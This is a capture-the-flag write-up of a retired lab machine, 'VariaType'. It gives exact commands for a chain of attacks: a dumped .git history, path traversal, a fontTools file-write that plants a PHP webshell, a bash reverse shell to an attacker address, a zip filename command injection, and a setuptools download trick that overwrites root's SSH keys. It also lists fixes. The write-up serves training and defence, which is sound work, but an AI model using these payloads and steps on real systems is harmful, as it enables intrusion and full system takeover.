VariaType
Summary
I mapped variatype's web surface to two virtual hosts and found an exposed .git directory on the PHP validation portal whose commit history (not the working tree) contained a live dashboard password. That access, combined with a filter-bypass path-traversal bug in a file-download endpoint, exposed the backend Flask font-tooling application's source. A critical file-write vulnerability in the bundled fontTools library (CVE-2025-66034) was then abused through the font-generation feature to drop a PHP webshell and gain code execution as www-data.
From there, a font-processing pipeline that fed uploaded archives to FontForge as user steve via a root cron job was abused through a filename-based command injection (CVE-2024-25082) to pivot to steve's account, exposing user.txt. Finally, a sudo rule letting steve run a plugin-installer script as root was abused via an unpatched setuptools download primitive (CVE-2025-47273) that trusts a remote server's declared filename, allowing me to overwrite root's SSH authorized_keys and log in as root for full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Confirms only 22/tcp and 80/tcp are exposed.
$ nmap -sC -sV $TARGETAdd both discovered vhosts to local DNS resolution.
$ echo "$TARGET variatype.htb portal.variatype.htb" | sudo tee -a /etc/hostsFuzz for additional virtual hosts; finds portal.variatype.htb.
$ gobuster vhost -u http://variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40Exact commands 2
Reconstructs the full repository, including history, from the exposed .git folder.
$ git-dumper http://portal.variatype.htb/.git/ portal_srcWalk every commit (not just HEAD) — the credential was removed from the working tree but survives in history.
$ git -C portal_src log -pFixRemove exposed .git directories from production web roots and rotate leaked credentialsCritical
location ~ /\.git { deny all; } in nginx) and exclude .git from deployment artifacts entirely. Rotate any credential that ever appeared in the repository history, and use a secrets scanner (gitleaks/trufflehog) in CI to catch future commits before they land.Exact commands 2
Confirms the traversal bypass works against a known file.
$ curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd'Pulls the Flask backend source for further analysis (fontTools usage, routes).
$ curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//opt/variatype/app.py' -o app.pyFixFix the single-pass path-traversal filter in the file download endpointHigh
Exact commands 3
Malicious.designspace sets <variable-font filename="/var/www/portal.variatype.htb/public/0xdf.php"> and embeds <labelname><![CDATA[<?php echo shell_exec($_REQUEST['cmd']);?>]]></labelname>; CDATA-wrapping is required or the XML parse breaks.
$ curl -sSk http://portal.variatype.htb/tools/variable-font-generator/process -F 'designspace=@malicious.designspace' -F 'font=@DejaVuSans.ttf'Triggers the planted webshell to catch a reverse shell as www-data.
$ curl -sSk http://portal.variatype.htb/0xdf.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/443 0>&1"'Run in the new shell to prove access: uid=33(www-data) gid=33(www-data) groups=33(www-data).
$ idFixUpgrade fontTools and validate font-build output pathsCritical
Exact commands 5
Builds a zip whose inner entry name carries the injected, base64-wrapped reverse shell; the .ttf content can be any real font.
$ python3 -c "import zipfile; zipfile.ZipFile('sploit.zip','w',zipfile.ZIP_DEFLATED).write('DejaVuSans.ttf', arcname='$(echo <BASE64_REVSHELL>|base64 -d|bash).ttf')"Drop the payload into the watched, group-writable upload directory as www-data.
$ cp sploit.zip /var/www/portal.variatype.htb/public/files/Listener on my host; wait up to ~2 minutes for the cron to run FontForge over the archive.
$ nc -lvnp 4444Generate a keypair once a steve shell is caught, for a stable follow-up SSH session.
$ ssh-keygen -q -t ed25519 -N '' -f /tmp/stevekeyConfirms escalation with id, then reads the user flag; replace with <user.txt>.
$ ssh -i /tmp/stevekey -o StrictHostKeyChecking=no steve@$TARGET 'cat /home/steve/user.txt'FixPatch FontForge and sanitize archive contents before automated processingCritical
Exact commands 4
Confirms the NOPASSWD rule on install_validator.py.
$ ssh -i /tmp/stevekey steve@$TARGET 'sudo -l'Custom HTTP server (NOT python3 -m http.server — must set a crafted header) that returns your SSH public key as the body with header: Content-Disposition: attachment; filename="../../../root/.ssh/authorized_keys".
$ python3 malicious_dispo_server.pyWrites my key into /root/.ssh/authorized_keys via the traversal-decoded Content-Disposition filename.
$ ssh -i /tmp/stevekey steve@$TARGET "sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://$ATTACKER_IP:18081/x"Confirms uid=0(root) then reads the root flag; replace with <root.txt>.
$ ssh -i /tmp/stevekey root@$TARGET 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)FixPatch setuptools and constrain the sudo-permitted installer scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.22.1 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.